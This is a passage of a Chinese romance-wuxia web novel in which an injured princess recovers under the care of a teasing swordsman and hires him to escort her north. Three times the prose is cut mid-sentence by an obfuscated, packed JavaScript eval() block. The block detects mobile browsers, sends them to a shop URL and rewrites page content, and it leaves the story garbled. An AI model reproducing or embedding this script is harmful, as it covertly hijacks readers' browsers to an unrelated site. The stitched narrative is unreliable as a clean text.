对方只是从马匹上落下来便半身不遂了,她从一丈高的树上摔落,岂不是下半辈子都得瘫在床上了?思及此,她眉眼耷拉着,神色消沉又沮丧,全然不见往日的灵动模样。 薛矜垂下眼帘,看向像一只淋了雨的小猫似的可怜兮兮的陆怀袖,缓缓吐出了两个字:“不会。” 他的话就好似给她吃下了定心丸,陆怀袖松了口气,高悬的心瞬间平稳落地,既然他说不会,那自己就不会。她对他似乎有一种天然的信任感。 紧接着绵软似丝绸的男声再度响起:“我已将万灵膏涂抹在你的关节断裂之处,这种药膏极其神奇,可以让断骨重生,你这些天好好呆在这养伤,过不了多久便能下地行走了。” 陆怀袖再感受自己的身子,知道对方已经给她身上的伤上过药了,想到他给她上药的时候必定把她全身都看了个遍,脸红的好似能滴出血来。她结结巴巴地说道:“那那那那……” 薛矜摸着下巴看向脸红得跟新嫁娘似的少女,略一思忖,便明白了她为何脸红。他唇角微微勾起,放在别人身上是个笑模样,在他的身上,却显得淡冷无情。 他那像玫瑰花瓣一样的嘴唇开开合合:“你放心好啦,我不会对你起那种念头的。”说完便端走了药碗,起身向门外走去,从陆怀袖的视线看过去,只能看到他绯红的衣角。 看上去如火般热烈的红衣,穿在那个人的身上,都随着他清冷寂静了起来。 9. 恶作剧 这些天里陆怀袖一直呆在小木屋里养伤,或许是薛矜的药起了作用,她现在的身子可是比之前舒服多了,只是身体依然无法动弹,稍稍一动就会浑身发疼。 因为躺在病床上动弹不得,陆怀袖每天能看到的就只有巴掌大的一块地方,仿佛身处囚笼中,这几日她的心情是肉眼可见的低落。薛矜为此特意翻找出一只细瘦的白瓷瓶,灌入清凉的井水后,又将几枝从门前桃树上新折的桃花斜插在里边,再摆放在榻旁的几案上。 据他说,现在正值桃花盛开的季节,他瞧见几株桃花开得正好,便顺手折了几枝,打算插到屋中,让陆怀袖睁眼醒来就能看到。他还说多看看生机盎然的东西,心情都会变好,而好心情还能够有利于伤口的愈合。 如他所言,陆怀袖眼睛看着那一束娇艳欲滴的桃花,鼻尖嗅着那一股沁人心脾的桃花香,仿佛置身在桃花漫天飞舞的桃林里,一阵清风吹拂而来,将她心头的阴霾吹散,心情顿时明媚了许多。 看着看着,她的思绪不由飘到了为她折下这几株桃花的少年身上。经过这些天的相处,她对薛矜的为人也有了解,知道他外冷内冷,之前她认为对方温柔善良脾气很好,完全是被猪油蒙了心。可就是这样一个像刀剑一样锋利的人,偶尔却会做出一些比云还温柔的事。 一想到那个人,她的唇角便露出一抹自己都没有察觉到的笑意。 她忽然很想很想见到他。 每天少年都会准时准点来给陆怀袖喂药,那药和她刚醒来那会喝下的一样。据他说这汤药是调理脏腑,治疗内伤的,她坠下悬崖不仅摔断了很多根肋骨,连五脏六腑也受损严重,而这药专门调理内伤,她现在之所以恢复得这么快,多亏了这幅汤药。 虽然药很苦,但因为喂她的人是薛矜,所以她每天都期待着有药喝。 许是因为老天爷听到了她的心愿,下一刻她想见到的那个人便吱呀一声推开了门,端着药向她走来。 陆怀袖听到那阵熟悉的脚步声,心中高兴但是面上却不显露。她在心里计着数,那个人从门口走到她的床榻边是九步,一步不多,一步不少,和往常一样。 药汁一如既往的苦,但陆怀袖还是皱着眉头喝完了。苦味充斥着整个口腔,她紧紧抿着嘴巴,一副十分难受的模样。 例行公事一般喂完药后,薛矜变戏法似的拿出一只苹果,坐在床榻边熟练地削起来。他的手很稳,细长的皮从苹果上剥落下来,不厚一分,也不薄一点,果肉却是一点没掉。 他一边削着苹果一边同病床上的人说话:“陆小姐这段时间住在这里,可有什么不满意的地方?” 陆怀袖微微一怔,显然没想到他会有此一问。她思索了一番,斟酌了一下措辞道:“我没什么不满意的,这段时间你对我的好我都记在心里。等我养好伤了,一定会报答你的。” 薛矜直接无视了她的后半句话,加重语气又重复了一遍:“真的没有不满意的地方么?” 陆怀袖不知道他为什么问这个问题,张了张嘴,最终选择了实话实说:“真要说的话,我只有一点不满意。那就是我每天只能吃些清淡白粥,实在是太难熬了。”说完她小心翼翼地看了对方一眼,生怕惹他不悦,毕竟她白吃白喝人家的,还要挑三拣四,未免有些不识好歹了。何况她现在正在养伤,只能吃点清淡的东西,对方让她喝白粥也是为她好。 薛矜听到她的话,脸上的表情没有任何变化,“这样。”他那双骨节分明的手继续细致地削着果皮,似乎极为享受这个过程。 接着是一阵微妙的沉默,屋中安静得只剩下刀削苹果发出的细微声响。 陆怀袖心里有点拿不住对方的想法,不知道自己刚才的话有没有惹怒他,正想开口补救一番,缓和一下屋中尴尬的气氛,忽又听到对方问道:“那陆小姐喜欢吃什么呢?我可以给你做哦。”言语间竟颇有关切之意。 陆怀袖一时间有些受宠若惊,结结巴巴道:“不,不用麻烦你了,其实我只喝白粥也没关系的。而且不知道为什么,就算是你这里的白粥,尝起来也要比别的地方的好吃。” 薛矜唔了一声,好看的眉头微微拧着,“但你总喝白粥也不好吧,显得我这个主人招待不周呢。”接着,他又用那种能够蛊惑人心的声音,诱哄似地说道:“说说看嘛,你喜欢吃什么。” 陆怀袖如同一条被薛太公钓上来的鱼,吐着泡泡道:“我我我想吃……想吃……小笼包……”她越说到后面,声音越低,说到最后更是低不可闻。她用眼角余光偷偷瞥了少年一眼,见他正对自己展露笑容,顿时鼓起勇气说道:“可以么?” 听到她的请求,薛矜理所当然地点了点头,而后凑到她近前,用柔得能掐出水来的嗓音说道:“一个花骨朵般的少女眼巴巴看着你,求你把她喂饱的时候,是不可以拒绝的。” 他的话一字一句落入她耳里,像是敲打在她心坎上。陆怀袖面上不动如山,被柔软黑发遮掩住的耳廓却微微泛红。“他可真是个温柔、善良、脾气很好的人啊”这一被她丢掉不久的念头又在她脑中卷土重来。 就在少女再度踏进同一条河流时,少年停下了削苹果的手,苹果皮连成长长的一条,从头削到尾一点没断,最后一刀才把皮给削断。紧接着,他修长有力的手指握着刀,一只看似普通的苹果,一转眼就被雕刻成了他想要的模样。 雕刻完的那一瞬间,他从喉咙里发出一声满足的喟叹,随后用匕首叉起那只面貌狰狞的苹果,送到陆怀袖嘴边,笑得天真无邪:“啊,张嘴。” 陆怀袖瞪圆了双眼,不敢置信地看着那只被雕刻得可止兽族嘶吼,可止孩童啼哭的苹果骷髅头,那样子活像见了鬼似的。 谁能告诉她,为什么这和话本里的经典桥段不一样啊?送给花季少女的苹果,不应该被雕刻成可可爱爱的小兔子吗? 薛矜见她迟迟不张嘴,状似无辜地眨了眨眼睛,明知故问道:“怎么啦,你不喜欢吃苹果吗?” 不,我只是不喜欢吃被雕成骷髅头模样的苹果。尽管在心里这样腹诽着,陆怀袖还是像害怕对方会反悔一样迅速叼住了那只苹果骷髅头。 苹果看起来很凶,但尝起来很甜。某位金枝玉叶一边毫无形象的嘎嘎吃着,一边在心中如此点评道。 * 次日清晨,陆怀袖喝下一碗白米粥没多久,薛矜再一次推门而入。这一次他的右手四平八稳地端着一只青花瓷盘,随着他走近,阵阵食物的香味扑鼻而来,分外勾人。 陆怀袖鼻尖萦绕着那股奇异,又很浓郁的鲜香,还没见到本尊就被这香气熏得如痴如醉了。她不由得想起昨日的对话,心中砰砰乱跳,难不成对方真把她的话放在心上了? 她怔怔地望着少年越走越近,最后在她的床榻边坐下。他手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273356|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的青花瓷盘上果然摆放着一个个白生生,皮薄薄的小笼包,光看着就让人有一种大快朵颐的冲动。 看着那一只只圆润可爱的小笼包,多日没有开荤的陆怀袖不由得咽了咽口水。想到这些看上去十分可口的包子都是少年花时间花心思用心做的,她一脸感激地对他说道:“呜呜呜你人真好,等我伤养好了,一定请你吃大餐!” 薛矜赞同地点了点头,唇线优美的嘴一张一合:“谢谢,我也觉得我人很好。”说完便用筷子夹起了一只皮薄松软,馅料鲜美的小笼包。 筷子还没送到陆怀袖的嘴边,她就已经早早的张开了嘴,一眨不眨地盯着他看,眼睛亮晶晶的,盛满了期待,抑或是迫不及待。 这样的情景落入常人眼中,必定教他们半边身子都酥了,完全不忍心拒绝少女的任何需要。 但薛矜并非常人,他的心像石头一样硬。 他将小笼包送到了她的唇边,却在对方就要一口咬住的时候,非常迅速的转了个弯,递到自己的唇边,在少女不敢置信的目光中,就这么一口吞了下去。他喉头动了动,待小笼包咽下肚后,又眨了眨睫毛又长又密的眼睛,故意拖长了声音懒懒道:“还不错,你想尝尝吗?” 陆怀袖想都不想,拼命点头,而后眨巴着大眼睛看着他,似乎每根发梢尖上都挂着想吃两字。 薛矜狡黠地笑了一下,那双眼形狭长,眼尾上翘的狐狸眼微微眯起,语气轻快地说道:“好啊。”然后当着四肢夹上木板,全身缠满绷带,无法动弹只能干瞪着眼的少女的面,一口一个,每一口都吃得特别香,让人看了垂涎欲滴。 陆怀袖一边看一边咽口水,但她只能看不能吃,就算肚子咕噜咕噜叫得再大声也无济于事。 不过一盏茶的功夫,一碟小笼包便全数入了少年肚中。他假装愧疚地看了少女一眼,煞有介事地说道:“你的伤还没好,只能吃些清淡的东西,所以我只能勉为其难地替你解决掉这些油腻的食物了。”说完又极其恶劣地补充了一句:“我这都是为了你好啊,陆小姐。” 听到这番理不直气也壮的话,涵养向来很好的少女都忍不住怒火上涌,这个家伙实在是太过分了。 不得不说,这种欺骗少女感情的无耻行径,是连路过的蚂蚁都要骂一句缺德的程度。 欣赏够了她那一副七窍生烟的模样,薛矜笑得像是一只恶作剧得逞的小狐狸。丢下一句明天见后,他收了青花瓷盘,直接转身离开。 砰的一声,木门被关上,屋中很快又只剩下陆怀袖一人。被勾动了馋虫却又得不到满足的她抬眼瞪向床幔帐顶,假装自己瞪的是那个性格恶劣喜欢捉弄人还爱装无辜的少年。 怒火渐渐平息了下去,她想起近日来的种种,打心眼里觉得薛矜是个性情多变,行为矛盾的人。 明明亲手将她从鬼门关拉了回来,却对她的生死漠不关心。 会特意折下几株桃花给不得不久居屋中的她解闷,却也会故意当着她面吃下她想吃的食物,只为看到她那副想干掉他又干不掉他的样子。 温柔体贴的是他,冷漠恶劣的也是他。 这一刻你觉得他是这样的,下一刻他可能就会做出和你想象中完全相反的事来。 可就是这样一个思想上深藏不露、性格上捉摸不透、行动上飘忽不定的人,却让她不自觉想要去靠近,去探索,去深究。 10. 求庇护 陆怀袖休养了近一个月,经过这些日子的细心调养,身上的伤也好得差不多了。她死气沉沉地躺在病床上多日,早已不耐,骨折部位刚一开始愈合便想着尽快下地行走。 一是因为骨折复位固定后的康复训练开始的越早越好,以防止肌肉萎缩或关节活动受限,可以让骨折恢复的更快些;二是因为薛矜曾向她承诺过,只要她能正常的下地行走了,就送她一份礼物作为奖励。 她很想知道对方说的礼物到底是什么。 陆怀袖像是一只关节僵硬的木偶,动作迟缓的从床上下来。她费了好大一番功夫,恢复知觉没多久的双足才终于踏在地面上。她忍不住双拳捏紧,如释重负般长舒了一口气,然后努力控制住摇晃的身体,尝试着迈出步伐。 只是刚刚迈出第一步,她身形不稳的晃了几下,之后便踉踉跄跄着向前跌倒。她心里一沉,暗叫不好,眼看着就要和大地来个亲密接触,一道轻柔的力道托住了她,令她这一跤没能跌下去。 稳住了身形之后,陆怀袖抬眸朝门口看去,果然看到了马尾高束的绯衣少年,他正抱着手臂看她,双眉微微蹙起,拧成个好看的弧度。目光在她身上上上下下的扫过,他不赞同地说道:“你刚恢复不久,还没到做康复训练的时候,下地走路只会加重病情,能躺着就不要站着。” 陆怀袖听了这番话,又重新倒回床上,不再尝试下地。 躺倒在床上后,她替自己裹紧了被子。想起方才隔空托住自己的那股柔和力道,她不由得开口问道:“薛公子会武功?” 薛矜闻言愣了一下,没想到她会问出这样的问题。但很快,他就回过神来,淡淡留下三个字:“会一点。” 陆怀袖有些不敢置信地看着他,目光中是丝毫掩饰不了的惊讶,毕竟少年表现出来的明显是一副毫无武功的样子。 薛矜完全无视了她惊讶的眼神,看到她乖乖躺在床上了,便转身往门外走去,走到门口时,他又停下脚步说了句:“记住我说的话。”之后便将门轻轻的关上。 屋中顿时又只剩下陆怀袖。 少女规规矩矩的躺在床上,眼睛却死死地盯着帐顶毫无睡意,忽然心中一动,一个大胆的想法在她脑海里盘旋。 她想请薛矜护送自己前往北离王都白河城和亲。 少年悉心照顾了形如废人的她一个月,让她对他产生了强烈的依赖情绪,她……不想和他分开。如今见他身怀武功,显然能够保护自己,和他一同动身前往北离,是再好不过的了。 陆怀袖只是心地好,却并非什么也不懂的傻子。她知江湖险恶,人心难测,自己这么个手无缚鸡之力的弱女子,若是孤身一人前往北离,被人煎炒烹炸煮炖焖了也不是没有可能。 是的,她依旧打算前往北离和亲。但那绝不是因为她喜欢自己的和亲对象,而是因为她要肩负起作为大襄公主的责任。 之前夏姑姑跟她说的那番话还言犹在耳,她不得不承认,对方说的话虽然难听,却又是事实。离了她的子民,她的确什么也不是。如果不履行自己的职责,实现两国和平,那么她就和米虫无异。 公主的身份如今像是一道重重的枷锁套在她身上,让她违背自己的本心,为保襄国免于战争,孤身入虎穴去了。 * 三天后,陆怀袖的伤好得差不多了,正常的行走已可以了。在能下地行走的第一天,她像只出笼的小鸟一样,既兴奋又紧张,做下的第一件事就是去见薛矜。 此刻的她正以手支颐,闲闲地看着在厨房里煎药的薛矜。少年光洁的额头上不断地渗出细密的汗珠,在药炉烟雾缭绕之间氤氲成模糊的光泽。朦胧的烟与雾,让一切都变得不真切,却难掩他昳丽的风姿。 忽地想起那日的打算,陆怀袖斟酌了一下措辞,然后状似不经意地问道:“薛公子,等我伤养好了,就得立刻搬出去吗?” 薛矜闻言,手上的动作停了下来,抬眸似笑非笑地看向她:“怎么,你还想赖在这里不成?” 陆怀袖瞧他这模样,就知道他曲解了自己的意思,忙不迭的摆手解释道:“不不不,我是说,你可不可以……可不可以和我一起出去……”说完小心翼翼地看着他,生怕他说出拒绝的话来。 像是听到什么天大的笑话,薛矜毫不掩饰地翻了个白眼,语气轻嘲:“和你一起寻找你素未谋面的父亲?” 陆怀袖无视他话里的嘲讽,将右手握成拳状,抵在唇边轻咳了几声:“不用你找他,他就住在北离王都白河城,我想请你护送我到那里,过后我自然会找到他。” 薛矜兴致缺缺地扫了她一眼,脸上的表情分明是在说,你谁啊,我凭什么要帮你。 经过这一个月的相处,陆怀袖已知面前的少年从里到外纯黑,连血液都是结冰的,根本不吃你卖惨这一套,能打动他的就只有你能带来的利益。没有给到足够大的好处,他根本不会搭理你。 想通这一点后,在对方把话说死之前,陆怀袖直接祭出了自己的最强杀招:“我不是要你白干活,我可以雇你。”正是一招乾坤一掷。没办法,她穷得也只剩下钱了。 听到她这样说,薛矜总算是来了点兴趣,半开玩笑半认真地说:“你确定你雇得起我?事先说明,我可是很贵的。” 下一刻,陆怀袖就从怀里掏出来一大叠银票,在他眼前晃了晃,财大气粗地问道:“这些够吗?”她突然有些庆幸自己随身带了一大把银票,如今正是派上了用武之地。 薛矜一看,好家伙,五千两一张的银票,看上去少说也有十几二十张。他内心有些动摇,但面上依然不动如山,一副不将这些阿堵物放在眼里,绝不会被金钱收买的清高模样。 见对方依旧不为所动,陆怀袖以为自己给的还是不够多,又咬咬牙说道:“这些只是定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273357|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金,如果薛公子能将我平安送到北离王都白河城,我再给你另一半佣金。” 随着她话音落地,薛矜嘴角微微一翘,打了个清脆的响指,“成交。”他本来是想拒绝的,但是这位陆小姐给的实在太多了。 挣钱嘛,不寒碜。 陆怀袖几乎是有些感动了,她可是把自己的全部家当都拿出来了,才终于换得对方一句承诺,虽然很是肉疼,但生命总算有了保障。她心想古人诚不我欺,有钱的确能使鬼推磨。接下来的路,她就要和少年一起走了。 薛矜飞快地把银票揣进自己袖子里,再度看向那位陆小姐,越看越觉得眉清目秀。他忽然想起什么似的化出一只四四方方的木盒来,径直递到陆怀袖跟前,笑吟吟说道:“恭喜你康复了,这是给你的礼物。” 陆怀袖愣愣的从少年手中接过了那只木盒,绵软嗓音倏然在她耳畔响起:“打开看看。” 随后她便满怀期待地打开了盒盖,一件粉色裙衫映入眼帘,让她发出一声惊喜的叫声。她忍不住伸手摸了摸,那柔软的触感像云朵也像棉花,让她爱不释手。因为从悬崖摔下的缘故,她那一身衣服破破烂烂的早不能穿了,之前是薛矜拿了自己的旧衣服给她套上,现在她都能正常行走了,再穿着那身对她来说过于宽大的衣服也不合适了。 薛矜看着像是得了蜜糖的小熊一样开心的小姑娘,温和地笑了下,声音轻软得像绸子:“换上去给我看看。” 陆怀袖轻轻点了点头,而后乖乖的抱着那只木盒,一路小跑回到了自己的房间。 她匆匆地翻出了衣服,发现衣服下面还放着一把锋利的匕首。裙子和匕首显然都是礼物,但把毫不相干的两样东西放在一起送给自己,也只有那个思维跳脱的少年才想得出来。 换上新衣服后,陆怀袖将那把匕首珍而重之收入怀中,然后提着裙摆就往外跑。 听到脚步声的薛矜抬头一看,一位身着粉色裙衫的少女顿时映入眼帘。她的头上用辫子梳着发髻,剩下来的辫子自然垂落下来,配上与衣裙颜色相似的发带,为她平添了几分灵动与娇俏,可以算是温婉窈窕,娇花照水,人面桃花了。 少年特意退后了一步,上上下下将少女打量了一番,满意地点了点头,赞道:“真好看。” 得到他的夸奖,陆怀袖摸了摸垂到胸前的发辫,面上泛起薄红,张了张嘴刚想说些什么,就听对方一本正经地解释道:“我说的是衣服。” 她像是听到什么不可思议的话,猛地抬起头来,正好对上薛矜的目光,那双滟潋迷人的狐狸眼里泛着揶揄的笑意,那眼神仿佛在对她说,你在想胡思乱想什么啊,我可没有那个意思。 在怒火攻心的那一刻,陆怀袖忽然无比清晰地意识到,在接下来的路途中,她必定要被这顽劣的少年气上无数回。 少女认真地思考了一下,现在把钱要回来,还来得及吗? 11. 桃花林 在陆怀袖支付了巨额的定金后,薛陆二人达成交易,约定三天后便出发前往北离。 在第三天的正午时分,陆怀袖却还未曾进食,此时早已饿得饥肠辘辘,无奈之下,只好外出去找薛矜。木屋外是一片无边无际的桃花林,她似乎陷入了迷宫,在林中走了许久,直走得双腿都发酸起来,却还是一直在原地打转。 就在她快要放弃的时候,她突然听见前面不远处有动静,萎靡的精神顿时为之一振,忙抬起有些酸软的腿,强撑着身子循声找过去,很快就看到了自己一直在找的人。 尽管有心理准备,她还是被眼前这一幕给震撼到了,一动不动地站在那里,屏住呼吸怕惊扰神迹。 碧水蓝天,阳光和煦,涓涓流水叮咚作响,空中时而传来婉转的鸟鸣,伴着风吹过桃花林时发出的窸窣声响,铺成一幅恬淡悠然的画卷。 在一树灼灼盛放的桃花下,绯衣少年正手持一把刀身漆黑刀尖殷红的刀,一下一下的挥舞着,泛起阵阵血光。他的动作流畅而迅速,如同操作身体的一部分,锋利的刀刃和飘逸的衣摆将力与美恰到好处的诠释出来。 他的刀实在是太快,快到挥刀的一瞬间,平静的空气都混乱起来。一阵狂风平地而起,卷起地上层层落花,凌厉刀气不断斩出,在空中利落的将每一瓣飘落的桃花切得更碎。 一时间半空中皆是片片桃花,很快那些完整的花瓣皆是从中断成了两半,簌簌落下,落得少年满身皆是。长刀连连挥舞,桃花纷纷洒落,花影刀影交织在一起,难分你我。 一阵花雨过后,少年收刀站定,像玉做的竹枝一样的手伸出,接住一片花瓣放在手心。见那切口十分平整光滑,一看就是被锋利无比的刀刃直接一刀两断,他满意地点了点头。 抖了抖身上飘落的花瓣,薛矜向不知是在旁看了多久的陆怀袖走来,早在她在背后的时候,他就敏锐的捕捉到了她的目光。衣袍摆动间,他已在她的面前站定,动作轻柔的从她发上取下一片桃花花瓣,而后歪了歪头,不解地问道:“刚才你为什么一直站在这里不动?” 陆怀袖看得入了迷,直到那道熟悉的声音在耳畔响起,才如梦初醒般回过神来。意识到自己刚才干了什么丢脸的事情,她的脸顿时涨红,恨不得找个地洞钻进去。 总不能说自己看他练刀看得太过专注,连眨眼都忘了吧。羞死个人了。 这时一阵风轻轻拂过,陆怀袖鼻尖萦绕着一股淡淡的桃花香,忽然意识到自己就站在一株桃花树下,顿时福至心灵般想到了什么,指了指头顶上从天光云影中垂下的长长的桃花枝,故作镇定地说道:“我很想闻闻这花的味道,但它对我而言太高了,我够不着,只能仰着头吸着鼻子干嗅。”说完还亲自示范了一遍,以显示自己没有说谎。 她一边仰头假装嗅着桃花,一边用眼角余光偷偷瞄了薛矜一眼,见他并未露出怀疑之色,心里的那块大石头才悄然落地。 而就在她松了一口气,觉得自己不会再被他取笑时,少年伸手抓住了那些有花的枝条,然后替她压了下来,压到她能闻到的位置。 浓郁的花香顿时扑鼻而来,令人心醉神摇。陆怀袖错愕地抬眸看向他,刚好与他那双黑如点漆的眸子四目相对。枝桠掩映间,他向她轻轻一笑,枝上桃花都给他比下去了。 “你闻吧。” 他的笑容明媚得能灼伤人眼,陆怀袖像是被烫到了一样,下意识低眉不敢抬眼直视。她心不在焉地嗅着花,满脑子都在胡思乱想:“这人未免也太好看了吧,以后就叫他薛倾城好了。”当然,这个称呼她也只敢在心里念叨。 一盏茶的功夫过后,薛矜估摸着他的雇主闻够了,便松开了压着枝条的手,将自己的刀收回手腕中。 陆怀袖亲眼目睹了全程,见那把纤薄锋利的刀凭空消失,不由得好奇问道:“薛公子是怎么收的刀?为什么晃眼之间就不见了?” 薛矜听罢伸出手来,右手手腕内侧有一道黑色的十字印记,看着显眼极了,跟纹身似的。他言简意赅地跟她解释道:“这刀不用的时候,可以寄宿在右腕里面。” 陆怀袖闻言顿时两眼放光,看向薛矜的神情里充满了崇拜。宝刀配英雄,拥有这样的刀,刀的主人必定实力不俗。 薛矜忽然像是想到什么似的说道:“明日我们就要启程了,这一路上可能会遇到各种危险,所以你得有一定的自保能力。现在我有空,就传授陆小姐保命三招吧,遇到危险时,你也好抵抗一二,求得一线生机。” 保命三招?陆怀袖听了,浓密的黑睫轻轻颤动,一脸期待地看向他。 薛矜并不多言,特意放慢动作给她示范了一遍。 第一招是暗暗抓起地上的泥土和沙砾攥在手里,猛然向敌人的脸上扔去;第二招是借机站起用食中二指直杵敌人的眼睛;第三招是趁敌人护住脸部的时机,用膝盖猛踢其裆部,或者其他要害部位。 示范完毕后,他看向陆怀袖,那双漂亮的狐狸眼弯得像初一的月牙,“我讲明白了吗?” 陆怀袖神色无比认真地点了点头,表示自己记下来了。 薛矜将信将疑地看向她,朝她抬了抬下巴,唇线优美的嘴一张一合:“那你演示一遍。”说完又不自在地咳嗽了一声,“把我当作你的敌人,比方说我想要冒犯你什么的。” 少女听罢,脸上莫名一红,却装作一副若无其事的样子,在他面前使出了那三招,虽然连对方的一片衣角都碰不到,却将这三招使得有模有样,完全不像初学者。 薛矜将她的表现尽数收入眼底,满意地点了点头,停顿了一下,又补充道:“不错,只是还有一点需要你记住。你使出这三招的时候,一定要乘对方不备,这样才有可能保住性命。我提前知道你要攻击我,自然会小心防范,不让你得手。你真正的敌人就不一定了,总会对你放松警惕的,你就在他大意的时候用出这三招,必定卓有成效。” 传授完这保命三招后,薛矜突然听见小姑娘肚子里“咕噜咕噜”的声响,抬眸看向她,脸上的表情有些古怪。 陆怀袖捂着自己的肚子,涨得满脸通红,只觉无地自容。没办法,她是个十指不沾阳春水的公主,别说是去厨房做饭了,她连自己家的御膳房都没有进去过。再加上这段时间一直是薛矜做饭,所以她肚子一饿,第一时间想到的就是找对方帮忙。 不得不说,薛矜在厨艺上也是罕见的高手。形形色色的食材,五花八门的烹调方式,他俱都精通。自从她用金钱的力量打动了对方后,更加清晰地认识到了这一点,只觉得少年的厨艺比之宫中御厨,有过之而无不及。 薛矜看出她的窘迫,很宽容地笑了一下,而后熟门熟路地折下一根树枝,用真气削尖,再带着树枝到溪边开始叉鱼。他将手里的树枝高高举起,尖端朝下,眼睛紧盯着河面,接着猛地往下一扎,再提起来时,树枝上便挂着一条大鲫鱼了。 陆怀袖见他拿根树枝就能叉到鱼,眼眸中有些跃跃欲试,也折下一根树枝,在溪边学着他的样子叉鱼。 溪水清澈见底,几尾鱼在水中游动,她看得很清楚。然而,当她拿着树枝做的鱼叉去叉鱼时,却怎么也叉不中,急得她额头上都冒出汗来。 没办法啊,她平时吃鱼都有人帮忙挑鱼刺,何曾亲自捕过鱼呢。 薛矜看着这画面,无奈地叹了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谈话间,鱼肉的外层已被烤得金黄焦脆,光是看着就令人食指大动。薛矜顺着鱼身上的划痕撒了层孜然,顿时一股更为浓郁的香味飘散开来,将陆怀袖腹中馋虫都勾了出来。 两人就这样坐在花繁叶茂的桃花树下,吃着表皮焦香内里鲜嫩的烤鱼,听着一阵阵泉水叮咚的轻响,只觉无比惬意。 很快烤鱼就被吃完了,薛矜缓缓地直起了身子,发现天色已晚,便引着陆怀袖走出桃花林。 陆怀袖同他一道穿过桃花林,沿着桃花小径向木屋跑去,忽然想起什么似的问道:“为什么我之前走进这片桃花林,却好像一直在原地打转?” 正疑惑间,薛矜善意为她答疑解惑道:“因为我在这里布下了幻阵,虽然没有什么太大的杀伤力,但不通要领者只会在原地打转,最后被送回到桃花林外,根本就找不到我的屋子。” 陆怀袖听后不由得问道:“我一直很好奇,你为什么在这里有间屋子呢?”毕竟这崖底什么也没有,吃喝玩乐都不方便啊。 闻言,薛矜转过身子,狭长的狐狸眼微微眯起,冷淡的,疏离的注视着她,在他的眼睛里她看到了自己的倒影。 陆怀袖心里暗叫不好,她不该去打探人家私事的,谁知道是不是越了雷池。正当她要开口补救一番的时候,对方口中轻轻的吐出了四个字:“无、可、奉、告。”说完,就加快脚步走在了前面。 陆怀袖愣了一下,反应过来后也赶紧跟了上去,一边跑一边叫道:“等等我啊。”她一个人可走不出去啊。 一阵清风吹来,宛似一声叹息。不一会儿,地上就落了一层厚厚的粉色花瓣,将两人离去的足迹掩盖住。 12. 五脏庙 次日清晨,薛陆二人已经收拾好各自的行李,走出了那片仿佛无边无际的桃花林,徒步行走在宽阔的官道上。 薛矜并不是个喜欢多说话的人,一路上只是闷头赶路。陆怀袖为了打发时间,同时也是想拉近彼此之间的距离,便开始没话找话。 她搜肠刮肚地寻找话题,忽然想起自己看过的那些江湖话本,如闲谈般含笑问道:“我听说行走江湖的人都爱喝酒,与他们相伴的,除了刀剑,便是美酒,那薛公子喜欢喝酒嘛?” 薛矜想都没想地说道:“不喜欢。喝酒只会影响我拔刀的速度。”他是行走在刀尖上的人,随时都会处身于危险之中,最好时刻保持理智。而喝酒会让人失去对自己身体的掌控,他非常不喜欢失控的感觉。 陆怀袖倒是没想到他会这样说,顿了顿又道:“这和话本里说得可不一样。” 薛矜闻言嗤笑一声道:“话本里还说了人掉下悬崖非但摔不死,还能捡到一本众人求而不得的惊世秘籍。那么请问陆小姐,这一个月来你可练成了绝世神功?” 他的话如同一把利刃,陆怀袖感觉呼吸一窒,像是心口忽然被捅了一刀。这人说话是真的损。 薛矜转眸看着她那一副受伤的表情,内心毫无波澜,淡声开口道:“江湖并不像话本里写的那么简单,很少有人一言不合就打打杀杀。它更像是表面平静的湖水,水面下却是暗藏杀机,稍有不慎就会万劫不复。你以后要随时保持警备心,一旦遇上危险就赶紧跑。” 陆怀袖闻言顿觉一股暖流涌入心田,他要自己遇到危险时赶紧逃跑,岂不是要留下来替自己抵御危险?想到这点,她不由得动容,声音里含着浓浓的关切:“薛公子让我遇到危险就跑,那你自己怎么办?” 薛矜奇怪地看了她一眼,似乎是没想到她会问出这样没脑子的问题。他也不跟她客气,抬了抬下巴,用一种理所当然的口吻说道:“我当然会比你跑得更快啊。” 那股暖流顿时化成一口血闷在心里,吐又吐不出,咽又咽不下去。被陆怀袖抛到九霄云外的那个念头再一次浮上了她的心间,现在把钱要回来,还来得及么? 两人边走边聊,不知不觉已经走出很远。他们停下脚步,抬头看了看天空,只见日头高悬,居然已经是中午了,怪不得他们都有些饿了。两人赶了许久的路,皆是腹中饥饿,商量了一会,便决定随便找家酒馆祭祭五脏庙。 不多时,还真让他们找到了一家不起眼的小酒馆。薛陆二人踏入这家位于官道边的小酒馆,见里面桌椅摆放整齐,到处都擦得干干净净,显得很是素雅大方。 或许是地处偏僻的缘故,本该是正当营业的时候,酒馆内却只有稀稀疏疏几桌客人在吃饭。薛陆二人随意找了个位置坐下,刚一落座,店小二就殷切地迎了上来。他先是提起铜壶,给两人倒了碗凉茶,然后哈着腰满脸堆笑地问道:“两位客官要点什么?” 